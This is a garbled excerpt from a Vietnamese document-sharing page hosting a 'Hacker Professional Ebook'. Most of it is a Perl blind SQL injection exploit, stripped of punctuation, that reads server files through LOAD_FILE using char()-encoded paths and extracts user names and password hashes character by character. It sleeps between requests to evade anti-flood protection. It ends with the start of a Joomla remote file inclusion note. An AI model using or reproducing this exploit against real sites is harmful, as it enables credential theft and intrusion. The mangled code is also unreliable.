tailieunhanh - Hacker Professional Ebook part 388

Tham khảo tài liệu 'hacker professional ebook part 388', công nghệ thông tin, kỹ thuật lập trình phục vụ nhu cầu học tập, nghiên cứu và làm việc hiệu quả | magic_quotes_gpc off SQL and LOAD_FILE C Program Files EasyPHP1-8 www ixprim- html REGEXP define IXP_CODE PART_OF_IXP_CODE magic_quotes_gpc on SQL and LOAD_FILE concat char 67 char 58 char 47 char 80 char 114 char 111 char 103 char 114 char 97 char 109 char 32 char 70 char 105 char 108 char 101 char 115 char 47 char 69 char 97 char 115 char 121 char 80 char 72 char 80 char 49 char 45 char 56 char 47 char 119 char 119 char 119 char 47 char 105 char 120 char 112 char 114 char 105 c har 109 char 45 char 49 char 46 char 50 char 47 char 104 char 116 char 109 char 108 char 47 char 109 char 97 char 105 char 110 char 102 char 105 char 108 char 101 char 46 char 112 c har 104 char 112 REGEXP concat char 73 char 88 char 80 char 95 char 67 char 79 char 68 c har 69 char 34 char 44 char 32 char 39 char PART_OF_IXP_CODE sendreq 1 32 load_file concat .concatchar fpd . REGEXP concat .concatchar IXP_CODE exit 1 Determine if the sql request return true or false. Modify the username s charset if it contain special char. sleep 2 needed for bypass the antiflood protection. If the username s length 19 the exploit doesn t works. sub sendreq my start limit sql _ 0 _ 1 _ 2 my gchar char @charset if sql A length select 20uid @charset if sql Aselect 20uname @charset if sql A select 20pass load_file for y start y limit y foreach char @charset print STDERR r sploit gchar char if sql load_file req GET bsql. 20and 20substr . sql. y 1 .concatchar char else req GET bsql. 20and 20 . sql. .concatchar gchar. char . sleep 2 res ua- request req - content if res br V div id comments gchar . char last if sql length and gchar. char a 0-9 9 last print STDERR n return gchar. char sub concatchar my string shift my temp for i 0 i length string i temp . char .ord substr string i 1 . temp . if i length string -1 return temp black_hat_cr HCE Joomla newest RFI - Vuln Code - - - - - - - - - - - - - - - - - - - -- - - - 2006-Nov-06 register_globals is On. Bug include_once